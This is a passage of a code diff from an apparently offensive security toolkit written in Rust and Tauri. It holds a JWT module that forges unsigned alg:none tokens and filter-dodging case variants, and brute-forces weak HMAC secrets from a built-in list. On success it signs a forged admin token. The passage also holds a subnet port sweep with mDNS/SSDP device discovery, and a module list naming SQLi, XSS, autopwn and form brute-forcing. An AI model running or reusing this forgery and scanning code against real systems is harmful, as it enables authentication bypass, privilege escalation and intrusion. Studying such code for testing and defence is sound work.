let h_bytes = b64_decode(parts[0]).ok_or("bad base64 header")?;
|
||||
let p_bytes = b64_decode(parts[1]).ok_or("bad base64 payload")?;
|
||||
|
||||
let header: serde_json::Value =
|
||||
serde_json::from_slice(&h_bytes).map_err(|e| format!("header json: {e}"))?;
|
||||
let payload: serde_json::Value =
|
||||
serde_json::from_slice(&p_bytes).map_err(|e| format!("payload json: {e}"))?;
|
||||
|
||||
Ok((
|
||||
header,
|
||||
payload,
|
||||
parts[2].to_string(),
|
||||
parts[0].to_string(),
|
||||
parts[1].to_string(),
|
||||
))
|
||||
}
|
||||
|
||||
fn sign_hmac(key: &[u8], signing_input: &str, alg: &str) -> Option<Vec<u8>> {
|
||||
match alg {
|
||||
"HS256" => {
|
||||
let mut mac = HmacSha256::new_from_slice(key).ok()?;
|
||||
mac.update(signing_input.as_bytes());
|
||||
Some(mac.finalize().into_bytes().to_vec())
|
||||
}
|
||||
"HS384" => {
|
||||
let mut mac = HmacSha384::new_from_slice(key).ok()?;
|
||||
mac.update(signing_input.as_bytes());
|
||||
Some(mac.finalize().into_bytes().to_vec())
|
||||
}
|
||||
"HS512" => {
|
||||
let mut mac = HmacSha512::new_from_slice(key).ok()?;
|
||||
mac.update(signing_input.as_bytes());
|
||||
Some(mac.finalize().into_bytes().to_vec())
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
const COMMON_SECRETS: &[&str] = &[
|
||||
"secret", "password", "123456", "admin", "jwt", "jwt_secret", "jwtsecret",
|
||||
"key", "your-256-bit-secret", "my_secret", "default", "test", "changeme",
|
||||
"supersecret", "supersecretkey", "secretkey", "private", "MIIEvQIBA",
|
||||
"hmac_secret", "token_secret", "api_secret", "auth_secret",
|
||||
];
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct JwtRequest {
|
||||
pub token: String,
|
||||
pub wordlist: Option<Vec<String>>,
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn jwt_analyze(app: AppHandle, req: JwtRequest) -> Result<JwtDecoded, String> {
|
||||
let (header, payload, sig, h_b64, p_b64) = parse(req.token.trim())?;
|
||||
|
||||
let alg = header
|
||||
.get("alg")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("?")
|
||||
.to_string();
|
||||
|
||||
let mut issues: Vec<JwtIssue> = Vec::new();
|
||||
let mut forgeries: Vec<JwtForgery> = Vec::new();
|
||||
|
||||
// ==== ISSUES ====
|
||||
if alg.eq_ignore_ascii_case("none") {
|
||||
issues.push(JwtIssue {
|
||||
severity: "CRITICAL".into(),
|
||||
title: "alg:none".into(),
|
||||
detail: "server accepts unsigned tokens if this alg was negotiated".into(),
|
||||
});
|
||||
}
|
||||
|
||||
if alg.starts_with("HS") {
|
||||
issues.push(JwtIssue {
|
||||
severity: "INFO".into(),
|
||||
title: "HMAC symmetric algorithm".into(),
|
||||
detail: "if secret is weak or algorithm confusion (HS vs RS) possible, token is forgeable".into(),
|
||||
});
|
||||
}
|
||||
|
||||
if let Some(exp) = payload.get("exp").and_then(|v| v.as_i64()) {
|
||||
let now = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.map(|d| d.as_secs() as i64)
|
||||
.unwrap_or(0);
|
||||
if exp < now {
|
||||
issues.push(JwtIssue {
|
||||
severity: "INFO".into(),
|
||||
title: "expired".into(),
|
||||
detail: format!("exp={exp}, now={now}"),
|
||||
});
|
||||
}
|
||||
} else {
|
||||
issues.push(JwtIssue {
|
||||
severity: "MEDIUM".into(),
|
||||
title: "no exp claim".into(),
|
||||
detail: "token does not expire — persistence risk".into(),
|
||||
});
|
||||
}
|
||||
|
||||
if header.get("kid").is_some() {
|
||||
issues.push(JwtIssue {
|
||||
severity: "MEDIUM".into(),
|
||||
title: "kid present".into(),
|
||||
detail: "test for kid SQLi/path-traversal injection (e.g. `kid=../../../../dev/null`)".into(),
|
||||
});
|
||||
}
|
||||
|
||||
if let Some(jku) = header.get("jku").and_then(|v| v.as_str()) {
|
||||
issues.push(JwtIssue {
|
||||
severity: "HIGH".into(),
|
||||
title: "jku header".into(),
|
||||
detail: format!("token fetches signing key from URL: {jku} — test host-header/SSRF bypass"),
|
||||
});
|
||||
}
|
||||
|
||||
if let Some(x5u) = header.get("x5u").and_then(|v| v.as_str()) {
|
||||
issues.push(JwtIssue {
|
||||
severity: "HIGH".into(),
|
||||
title: "x5u header".into(),
|
||||
detail: format!("token references cert at URL: {x5u} — test spoofing"),
|
||||
});
|
||||
}
|
||||
|
||||
// ==== FORGERIES ====
|
||||
|
||||
// 1. alg:none forgery
|
||||
let none_header = serde_json::json!({ "alg": "none", "typ": "JWT" });
|
||||
let none_header_b64 = b64_encode(serde_json::to_string(&none_header).unwrap().as_bytes());
|
||||
let none_token = format!("{}.{}.", none_header_b64, p_b64);
|
||||
forgeries.push(JwtForgery {
|
||||
attack: "alg:none".into(),
|
||||
description: "empty signature with alg=none header".into(),
|
||||
token: none_token,
|
||||
});
|
||||
|
||||
// 2. alg:NONE variant (case tricks)
|
||||
for variant in &["None", "NONE", "nOnE"] {
|
||||
let h = serde_json::json!({ "alg": variant, "typ": "JWT" });
|
||||
let h_b64 = b64_encode(serde_json::to_string(&h).unwrap().as_bytes());
|
||||
forgeries.push(JwtForgery {
|
||||
attack: format!("alg:{variant}"),
|
||||
description: "case-variation bypass for alg=none filters".into(),
|
||||
token: format!("{}.{}.", h_b64, p_b64),
|
||||
});
|
||||
}
|
||||
|
||||
// 3. HMAC weak-secret bruteforce
|
||||
if alg.starts_with("HS") {
|
||||
let signing_input = format!("{}.{}", h_b64, p_b64);
|
||||
let expected_sig = b64_decode(&sig).unwrap_or_default();
|
||||
|
||||
let wordlist: Vec<String> = req
|
||||
.wordlist
|
||||
.unwrap_or_default()
|
||||
.into_iter()
|
||||
.chain(COMMON_SECRETS.iter().map(|s| s.to_string()))
|
||||
.collect();
|
||||
|
||||
let total = wordlist.len();
|
||||
let _ = app.emit("jwt:status", format!("bruteforcing HMAC secret ({total} candidates)..."));
|
||||
|
||||
for (i, secret) in wordlist.iter().enumerate() {
|
||||
if let Some(computed) = sign_hmac(secret.as_bytes(), &signing_input, &alg) {
|
||||
if computed == expected_sig {
|
||||
issues.push(JwtIssue {
|
||||
severity: "CRITICAL".into(),
|
||||
title: "weak HMAC secret".into(),
|
||||
detail: format!("signing key recovered: \"{secret}\""),
|
||||
});
|
||||
|
||||
// craft forged admin token
|
||||
if let Some(mut forged_payload) = payload.as_object().cloned() {
|
||||
forged_payload.insert("admin".into(), serde_json::json!(true));
|
||||
forged_payload.insert("role".into(), serde_json::json!("admin"));
|
||||
let forged_p_b64 = b64_encode(
|
||||
serde_json::to_string(&forged_payload).unwrap().as_bytes(),
|
||||
);
|
||||
let forged_input = format!("{}.{}", h_b64, forged_p_b64);
|
||||
if let Some(new_sig) = sign_hmac(secret.as_bytes(), &forged_input, &alg) {
|
||||
forgeries.push(JwtForgery {
|
||||
attack: format!("HMAC-forge ({secret})"),
|
||||
description: "valid sig with admin=true / role=admin injected".into(),
|
||||
token: format!("{}.{}", forged_input, b64_encode(&new_sig)),
|
||||
});
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
if i % 50 == 0 {
|
||||
let _ = app.emit("jwt:progress", serde_json::json!({"done": i, "total": total}));
|
||||
}
|
||||
}
|
||||
let _ = app.emit("jwt:progress", serde_json::json!({"done": total, "total": total}));
|
||||
}
|
||||
|
||||
let _ = app.emit("jwt:done", serde_json::json!({"issues": issues.len(), "forgeries": forgeries.len()}));
|
||||
|
||||
Ok(JwtDecoded {
|
||||
header,
|
||||
payload,
|
||||
signature_b64: sig,
|
||||
alg,
|
||||
issues,
|
||||
forgeries,
|
||||
})
|
||||
}
|
||||
480
src-tauri/src/modules/lan_map.rs
Normal file
@@ -0,0 +1,480 @@
|
||||
// ===================================================================
|
||||
// LAN Map — discover devices on the connected local network.
|
||||
//
|
||||
// Pure Rust, works on Android without root. Combines:
|
||||
// 1. TCP sweep on common ports across the /24 subnet
|
||||
// 2. mDNS service discovery (UDP 5353 multicast)
|
||||
// 3. SSDP/UPnP M-SEARCH (UDP 1900 multicast)
|
||||
//
|
||||
// NOTE on Android: multicast (mDNS/SSDP) requires WifiManager
|
||||
// MulticastLock to be held by the host app. Without it, the OS
|
||||
// drops multicast traffic in power-save. TCP sweep always works.
|
||||
//
|
||||
// TODO(plugin): Tauri Android plugin to acquire MulticastLock so
|
||||
// mDNS/SSDP returns reliable results on phone.
|
||||
// TODO(oui): bundle a curated OUI prefix DB for vendor lookup.
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::net::{TcpStream, UdpSocket};
|
||||
use tokio::sync::Mutex;
|
||||
use tokio::time::timeout;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct LanScanRequest {
|
||||
pub subnet_cidr: Option<String>, // e.g. "192.168.1.0/24" — autodetect if None
|
||||
pub ports: Option<Vec<u16>>, // ports to TCP-probe per host
|
||||
pub probe_mdns: bool,
|
||||
pub probe_ssdp: bool,
|
||||
pub concurrency: usize,
|
||||
pub timeout_ms: u64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Default)]
|
||||
pub struct LanDevice {
|
||||
pub ip: String,
|
||||
pub hostname: Option<String>,
|
||||
pub open_ports: Vec<u16>,
|
||||
pub services: Vec<String>, // mDNS PTR services
|
||||
pub upnp: Vec<String>, // SSDP server / device descriptions
|
||||
pub guess: Option<String>, // best-effort device type guess
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct LanScanReport {
|
||||
pub local_ip: String,
|
||||
pub subnet: String,
|
||||
pub devices: Vec<LanDevice>,
|
||||
}
|
||||
|
||||
const DEFAULT_PORTS: &[u16] = &[
|
||||
21, 22, 23, 53, 80, 81, 88, 111, 135, 139, 143, 443, 445, 515, 548,
|
||||
554, 631, 873, 902, 993, 995, 1080, 1433, 1521, 1723, 1883, 2049, 2121,
|
||||
2222, 2375, 2376, 3000, 3306, 3389, 3478, 4444, 4567, 5000, 5040, 5432,
|
||||
5555, 5601, 5672, 5900, 5984, 6379, 6667, 7000, 7077, 7474, 7680, 8000,
|
||||
8008, 8009, 8080, 8081, 8086, 8088, 8089, 8123, 8181, 8200, 8291, 8333,
|
||||
8443, 8500, 8765, 8834, 8888, 9000, 9090, 9100, 9200, 9418, 9999, 10000,
|
||||
11211, 15672, 27017, 32400, 49152,
|
||||
];
|
||||
|
||||
const MDNS_SERVICES: &[&str] = &[
|
||||
"_services._dns-sd._udp.local",
|
||||
"_http._tcp.local",
|
||||
"_https._tcp.local",
|
||||
"_ssh._tcp.local",
|
||||
"_sftp-ssh._tcp.local",
|
||||
"_smb._tcp.local",
|
||||
"_afpovertcp._tcp.local",
|
||||
"_printer._tcp.local",
|
||||
"_ipp._tcp.local",
|
||||
"_ipps._tcp.local",
|
||||
"_pdl-datastream._tcp.local",
|
||||
"_airplay._tcp.local",
|
||||
"_raop._tcp.local",
|
||||
"_googlecast._tcp.local",
|
||||
"_spotify-connect._tcp.local",
|
||||
"_homekit._tcp.local",
|
||||
"_hap._tcp.local",
|
||||
"_workstation._tcp.local",
|
||||
"_device-info._tcp.local",
|
||||
"_amzn-wplay._tcp.local",
|
||||
];
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// helpers
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
fn detect_local_ipv4() -> Option<Ipv4Addr> {
|
||||
match local_ip_address::local_ip() {
|
||||
Ok(IpAddr::V4(v4)) => Some(v4),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_or_autodetect_subnet(spec: Option<&str>) -> Option<(Ipv4Addr, Vec<Ipv4Addr>, String)> {
|
||||
if let Some(cidr) = spec {
|
||||
if let Some((net, _)) = cidr.split_once('/') {
|
||||
if let Ok(base) = net.parse::<Ipv4Addr>() {
|
||||
// simple /24 only for now
|
||||
let octets = base.octets();
|
||||
let hosts: Vec<Ipv4Addr> = (1..255).map(|h| Ipv4Addr::new(octets[0], octets[1], octets[2], h)).collect();
|
||||
return Some((base, hosts, cidr.to_string()));
|
||||
}
|
||||
}
|
||||
}
|
||||
let me = detect_local_ipv4()?;
|
||||
let oct = me.octets();
|
||||
let base = Ipv4Addr::new(oct[0], oct[1], oct[2], 0);
|
||||
let hosts: Vec<Ipv4Addr> = (1..255)
|
||||
.map(|h| Ipv4Addr::new(oct[0], oct[1], oct[2], h))
|
||||
.filter(|ip| *ip != me)
|
||||
.collect();
|
||||
Some((base, hosts, format!("{}.{}.{}.0/24", oct[0], oct[1], oct[2])))
|
||||
}
|
||||
|
||||
fn guess_from_ports_and_services(ports: &[u16], services: &[String], upnp: &[String]) -> Option<String> {
|
||||
let s_lower: Vec<String> = services.iter().chain(upnp.iter()).map(|s| s.to_lowercase()).collect();
|
||||
let any = |needle: &str| s_lower.iter().any(|s| s.contains(needle));
|
||||
|
||||
if any("googlecast") { return Some("Google Cast / Chromecast".into()); }
|
||||
if any("airplay") || any("raop") { return Some("Apple AirPlay device".into()); }
|
||||
if any("homekit") || any("hap") { return Some("HomeKit accessory".into()); }
|
||||
if any("spotify-connect") { return Some("Spotify Connect speaker".into()); }
|
||||
if any("printer") || any("ipp") || any("pdl") { return Some("Network printer".into()); }
|
||||
if any("workstation") { return Some("Workstation (NETBIOS/SMB)".into()); }
|
||||
|
||||
if ports.contains(&445) || ports.contains(&139) { return Some("Windows / Samba host".into()); }
|
||||
if ports.contains(&3389) { return Some("Windows RDP host".into()); }
|
||||
if ports.contains(&22) { return Some("SSH server".into()); }
|
||||
if ports.contains(&80) && ports.contains(&443) && ports.contains(&8443) { return Some("Web server / appliance".into()); }
|
||||
if ports.contains(&554) || ports.contains(&8000) || ports.contains(&8554) { return Some("IP camera (RTSP)?".into()); }
|
||||
if ports.contains(&5900) { return Some("VNC server".into()); }
|
||||
if ports.contains(&3306) || ports.contains(&5432) || ports.contains(&27017) { return Some("Database server".into()); }
|
||||
if ports.contains(&53) && ports.contains(&80) { return Some("Router / gateway".into()); }
|
||||
if ports.contains(&80) || ports.contains(&8080) { return Some("HTTP service".into()); }
|
||||
None
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// TCP sweep
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
async fn tcp_probe(ip: Ipv4Addr, port: u16, timeout_ms: u64) -> bool {
|
||||
let addr = SocketAddr::new(IpAddr::V4(ip), port);
|
||||
matches!(
|
||||
timeout(Duration::from_millis(timeout_ms), TcpStream::connect(addr)).await,
|
||||
Ok(Ok(_))
|
||||
)
|
||||
}
|
||||
|
||||
async fn sweep_host(ip: Ipv4Addr, ports: &[u16], concurrency: usize, timeout_ms: u64) -> Vec<u16> {
|
||||
let sem = Arc::new(tokio::sync::Semaphore::new(concurrency.max(1)));
|
||||
let mut futs = Vec::new();
|
||||
for p in ports {
|
||||
let sem = sem.clone();
|
||||
let p = *p;
|
||||
futs.push(async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
if tcp_probe(ip, p, timeout_ms).await { Some(p) } else { None }
|
||||
});
|
||||
}
|
||||
let mut results: Vec<u16> = futures::future::join_all(futs).await
|
||||
.into_iter().flatten().collect();
|
||||
results.sort_unstable();
|
||||
results
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// mDNS — fire one PTR query per service, listen for N seconds
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
fn build_mdns_query(name: &str) -> Vec<u8> {
|
||||
// minimal DNS query: tx=0, flags=0, 1 question, type PTR, class IN
|
||||
let mut buf: Vec<u8> = Vec::new();
|
||||
buf.extend_from_slice(&[0, 0]); // tx id
|
||||
buf.extend_from_slice(&[0, 0]); // flags = standard query
|
||||
buf.extend_from_slice(&[0, 1]); // questions = 1
|
||||
buf.extend_from_slice(&[0, 0, 0, 0, 0, 0]); // ans/auth/add = 0
|
||||
for label in name.trim_end_matches('.').split('.') {
|
||||
let bytes = label.as_bytes();
|
||||
buf.push(bytes.len() as u8);
|
||||
buf.extend_from_slice(bytes);
|
||||
}
|
||||
buf.push(0);
|
||||
buf.extend_from_slice(&[0, 12]); // QTYPE = PTR
|
||||
buf.extend_from_slice(&[0, 1]); // QCLASS = IN
|
||||
buf
|
||||
}
|
||||
|
||||
fn parse_mdns_ptr(packet: &[u8]) -> Vec<String> {
|
||||
// best-effort: pull ANSWER PTR rdata as service-instance names
|
||||
// skips header + question; handles compression pointers loosely
|
||||
let mut out: Vec<String> = Vec::new();
|
||||
if packet.len() < 12 { return out; }
|
||||
let ancount = u16::from_be_bytes([packet[6], packet[7]]) as usize;
|
||||
if ancount == 0 { return out; }
|
||||
|
||||
// skip header
|
||||
let mut pos = 12usize;
|
||||
// skip 1 question
|
||||
let qdcount = u16::from_be_bytes([packet[4], packet[5]]) as usize;
|
||||
for _ in 0..qdcount {
|
||||
// skip name labels
|
||||
while pos < packet.len() {
|
||||
let len = packet[pos] as usize;
|
||||
if len == 0 { pos += 1; break; }
|
||||
if len & 0xC0 == 0xC0 { pos += 2; break; }
|
||||
pos += 1 + len;
|
||||
}
|
||||
pos += 4; // QTYPE + QCLASS
|
||||
if pos > packet.len() { return out; }
|
||||
}
|
||||
|
||||
for _ in 0..ancount {
|
||||
if pos >= packet.len() { break; }
|
||||
// skip NAME (compressed or labels)
|
||||
if packet[pos] & 0xC0 == 0xC0 { pos += 2; }
|
||||
else {
|
||||
while pos < packet.len() {
|
||||
let len = packet[pos] as usize;
|
||||
if len == 0 { pos += 1; break; }
|
||||
if len & 0xC0 == 0xC0 { pos += 2; break; }
|
||||
pos += 1 + len;
|
||||
}
|
||||
}
|
||||
if pos + 10 > packet.len() { break; }
|
||||
let rtype = u16::from_be_bytes([packet[pos], packet[pos + 1]]);
|
||||
let rdlen = u16::from_be_bytes([packet[pos + 8], packet[pos + 9]]) as usize;
|
||||
pos += 10;
|
||||
if pos + rdlen > packet.len() { break; }
|
||||
|
||||
if rtype == 12 {
|
||||
// PTR rdata: domain-name
|
||||
if let Some(name) = read_name(packet, pos) {
|
||||
out.push(name);
|
||||
}
|
||||
}
|
||||
pos += rdlen;
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn read_name(packet: &[u8], start: usize) -> Option<String> {
|
||||
let mut pos = start;
|
||||
let mut out = String::new();
|
||||
let mut jumped = false;
|
||||
let mut hops = 0;
|
||||
loop {
|
||||
if hops > 20 || pos >= packet.len() { return None; }
|
||||
let len = packet[pos] as usize;
|
||||
if len == 0 { break; }
|
||||
if len & 0xC0 == 0xC0 {
|
||||
if pos + 1 >= packet.len() { return None; }
|
||||
let off = ((len & 0x3F) << 8) | packet[pos + 1] as usize;
|
||||
pos = off;
|
||||
jumped = true;
|
||||
hops += 1;
|
||||
continue;
|
||||
}
|
||||
if !out.is_empty() { out.push('.'); }
|
||||
if pos + 1 + len > packet.len() { return None; }
|
||||
out.push_str(std::str::from_utf8(&packet[pos + 1..pos + 1 + len]).unwrap_or(""));
|
||||
pos += 1 + len;
|
||||
if !jumped && len == 0 { break; }
|
||||
}
|
||||
if out.is_empty() { None } else { Some(out) }
|
||||
}
|
||||
|
||||
async fn run_mdns(timeout_secs: u64) -> HashMap<String, Vec<String>> {
|
||||
let mut results: HashMap<String, Vec<String>> = HashMap::new();
|
||||
|
||||
let sock = match UdpSocket::bind("0.0.0.0:0").await {
|
||||
Ok(s) => s,
|
||||
Err(_) => return results,
|
||||
};
|
||||
let _ = sock.set_broadcast(true);
|
||||
let mdns_addr: SocketAddr = "224.0.0.251:5353".parse().unwrap();
|
||||
|
||||
for svc in MDNS_SERVICES {
|
||||
let q = build_mdns_query(svc);
|
||||
let _ = sock.send_to(&q, mdns_addr).await;
|
||||
}
|
||||
|
||||
let deadline = tokio::time::Instant::now() + Duration::from_secs(timeout_secs);
|
||||
let mut buf = [0u8; 4096];
|
||||
loop {
|
||||
let now = tokio::time::Instant::now();
|
||||
if now >= deadline { break; }
|
||||
let remaining = deadline - now;
|
||||
match timeout(remaining, sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((n, src))) => {
|
||||
let entries = parse_mdns_ptr(&buf[..n]);
|
||||
if let IpAddr::V4(v4) = src.ip() {
|
||||
let key = v4.to_string();
|
||||
let bucket = results.entry(key).or_default();
|
||||
for e in entries {
|
||||
if !bucket.contains(&e) { bucket.push(e); }
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => break,
|
||||
}
|
||||
}
|
||||
results
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// SSDP
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
async fn run_ssdp(timeout_secs: u64) -> HashMap<String, Vec<String>> {
|
||||
let mut results: HashMap<String, Vec<String>> = HashMap::new();
|
||||
|
||||
let sock = match UdpSocket::bind("0.0.0.0:0").await {
|
||||
Ok(s) => s,
|
||||
Err(_) => return results,
|
||||
};
|
||||
let _ = sock.set_broadcast(true);
|
||||
let ssdp_addr: SocketAddr = "239.255.255.250:1900".parse().unwrap();
|
||||
|
||||
let msg = b"M-SEARCH * HTTP/1.1\r\n\
|
||||
HOST: 239.255.255.250:1900\r\n\
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: 2\r\n\
|
||||
ST: ssdp:all\r\n\r\n";
|
||||
let _ = sock.send_to(msg, ssdp_addr).await;
|
||||
|
||||
let deadline = tokio::time::Instant::now() + Duration::from_secs(timeout_secs);
|
||||
let mut buf = [0u8; 4096];
|
||||
loop {
|
||||
let now = tokio::time::Instant::now();
|
||||
if now >= deadline { break; }
|
||||
let remaining = deadline - now;
|
||||
match timeout(remaining, sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((n, src))) => {
|
||||
if let IpAddr::V4(v4) = src.ip() {
|
||||
let text = String::from_utf8_lossy(&buf[..n]);
|
||||
let mut info = String::new();
|
||||
for line in text.lines() {
|
||||
let l = line.to_lowercase();
|
||||
if l.starts_with("server:") || l.starts_with("st:") || l.starts_with("location:") || l.starts_with("usn:") {
|
||||
if !info.is_empty() { info.push_str(" | "); }
|
||||
info.push_str(line.trim());
|
||||
}
|
||||
}
|
||||
if !info.is_empty() {
|
||||
let bucket = results.entry(v4.to_string()).or_default();
|
||||
if !bucket.contains(&info) { bucket.push(info); }
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => break,
|
||||
}
|
||||
}
|
||||
results
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// orchestrator
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn lan_scan(app: AppHandle, req: LanScanRequest) -> Result<LanScanReport, String> {
|
||||
let ports = req.ports.clone().unwrap_or_else(|| DEFAULT_PORTS.to_vec());
|
||||
let local_ip = detect_local_ipv4()
|
||||
.map(|ip| ip.to_string())
|
||||
.unwrap_or_else(|| "unknown".into());
|
||||
|
||||
let (_base, hosts, subnet) = parse_or_autodetect_subnet(req.subnet_cidr.as_deref())
|
||||
.ok_or_else(|| "could not detect local network — pass subnet_cidr (e.g. 192.168.1.0/24)".to_string())?;
|
||||
|
||||
let _ = app.emit("lanmap:status", format!("scanning {} ({} hosts × {} ports)", subnet, hosts.len(), ports.len()));
|
||||
|
||||
let devices: Arc<Mutex<HashMap<String, LanDevice>>> = Arc::new(Mutex::new(HashMap::new()));
|
||||
|
||||
// ---- multicast probes start in background ----
|
||||
let mdns_handle = if req.probe_mdns {
|
||||
Some(tokio::spawn(run_mdns(4)))
|
||||
} else { None };
|
||||
let ssdp_handle = if req.probe_ssdp {
|
||||
Some(tokio::spawn(run_ssdp(4)))
|
||||
} else { None };
|
||||
|
||||
// ---- TCP sweep ----
|
||||
let total = hosts.len();
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
let host_sem = Arc::new(tokio::sync::Semaphore::new(req.concurrency.max(1)));
|
||||
|
||||
stream::iter(hosts.into_iter())
|
||||
.map(|ip| {
|
||||
let ports = ports.clone();
|
||||
let host_sem = host_sem.clone();
|
||||
let done = done.clone();
|
||||
let app = app.clone();
|
||||
let devices = devices.clone();
|
||||
async move {
|
||||
let _permit = host_sem.acquire().await.unwrap();
|
||||
// sequential per-host port sweep but capped concurrency
|
||||
let open = sweep_host(ip, &ports, 50, req.timeout_ms).await;
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("lanmap:progress", serde_json::json!({"done": n, "total": total}));
|
||||
if !open.is_empty() {
|
||||
let mut guard = devices.lock().await;
|
||||
let entry = guard.entry(ip.to_string()).or_insert_with(|| LanDevice {
|
||||
ip: ip.to_string(), ..Default::default()
|
||||
});
|
||||
entry.open_ports = open.clone();
|
||||
entry.guess = guess_from_ports_and_services(&open, &entry.services, &entry.upnp);
|
||||
drop(guard);
|
||||
let snapshot = LanDevice {
|
||||
ip: ip.to_string(),
|
||||
open_ports: open.clone(),
|
||||
guess: guess_from_ports_and_services(&open, &[], &[]),
|
||||
..Default::default()
|
||||
};
|
||||
let _ = app.emit("lanmap:device", snapshot);
|
||||
}
|
||||
}
|
||||
})
|
||||
.buffer_unordered(req.concurrency.max(1))
|
||||
.for_each(|_| async {})
|
||||
.await;
|
||||
|
||||
// ---- merge multicast results ----
|
||||
if let Some(h) = mdns_handle {
|
||||
if let Ok(map) = h.await {
|
||||
let mut guard = devices.lock().await;
|
||||
for (ip, services) in map {
|
||||
let entry = guard.entry(ip.clone()).or_insert_with(|| LanDevice { ip: ip.clone(), ..Default::default() });
|
||||
for s in services {
|
||||
if !entry.services.contains(&s) { entry.services.push(s); }
|
||||
}
|
||||
entry.guess = guess_from_ports_and_services(&entry.open_ports, &entry.services, &entry.upnp);
|
||||
}
|
||||
}
|
||||
}
|
||||
if let Some(h) = ssdp_handle {
|
||||
if let Ok(map) = h.await {
|
||||
let mut guard = devices.lock().await;
|
||||
for (ip, lines) in map {
|
||||
let entry = guard.entry(ip.clone()).or_insert_with(|| LanDevice { ip: ip.clone(), ..Default::default() });
|
||||
for s in lines {
|
||||
if !entry.upnp.contains(&s) { entry.upnp.push(s); }
|
||||
}
|
||||
entry.guess = guess_from_ports_and_services(&entry.open_ports, &entry.services, &entry.upnp);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut list: Vec<LanDevice> = devices.lock().await.values().cloned().collect();
|
||||
list.sort_by(|a, b| a.ip.cmp(&b.ip));
|
||||
|
||||
let _ = app.emit("lanmap:done", list.len());
|
||||
|
||||
Ok(LanScanReport {
|
||||
local_ip,
|
||||
subnet,
|
||||
devices: list,
|
||||
})
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn lan_local_info() -> Result<serde_json::Value, String> {
|
||||
let v4 = detect_local_ipv4().map(|ip| ip.to_string()).unwrap_or_else(|| "unknown".into());
|
||||
let oct = detect_local_ipv4().map(|ip| ip.octets()).unwrap_or([0; 4]);
|
||||
let subnet = if oct[0] == 0 { String::new() }
|
||||
else { format!("{}.{}.{}.0/24", oct[0], oct[1], oct[2]) };
|
||||
Ok(serde_json::json!({
|
||||
"local_ip": v4,
|
||||
"subnet": subnet,
|
||||
"platform": format!("{}-{}", std::env::consts::OS, std::env::consts::ARCH),
|
||||
"android": cfg!(target_os = "android"),
|
||||
}))
|
||||
}
|
||||
19
src-tauri/src/modules/mod.rs
Normal file
@@ -0,0 +1,19 @@
|
||||
pub mod port_scan;
|
||||
pub mod subdomain;
|
||||
pub mod httpx;
|
||||
pub mod takeover;
|
||||
pub mod sqli;
|
||||
pub mod xss;
|
||||
pub mod jwt;
|
||||
pub mod xploiter;
|
||||
pub mod xploiter_store;
|
||||
pub mod autopwn;
|
||||
pub mod lan_map;
|
||||
pub mod repeater;
|
||||
pub mod dirfuzz;
|
||||
pub mod admin_finder;
|
||||
pub mod form_brute;
|
||||
pub mod dns_tools;
|
||||
pub mod ssl_scan;
|
||||
pub mod banner;
|
||||
pub mod domain_grabber;
|
||||
137
src-tauri/src/modules/port_scan.rs
Normal file
@@ -0,0 +1,137 @@
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::timeout;
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PortScanRequest {
|
||||
pub target: String,
|
||||
pub ports: Vec<u16>,
|
||||
pub concurrency: usize,
|
||||
pub timeout_ms: u64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct PortResult {
|
||||
pub port: u16,
|
||||
pub open: bool,
|
||||
pub service: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct ScanProgress {
|
||||
pub scanned: usize,
|
||||
pub total: usize,
|
||||
}
|
||||
|
||||
pub fn top_1000_ports() -> Vec<u16> {
|
||||
vec![
|
||||
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723,
|
||||
3306, 3389, 5900, 8080, 8443, 8888, 5432, 6379, 27017, 9200, 5601, 11211,
|
||||
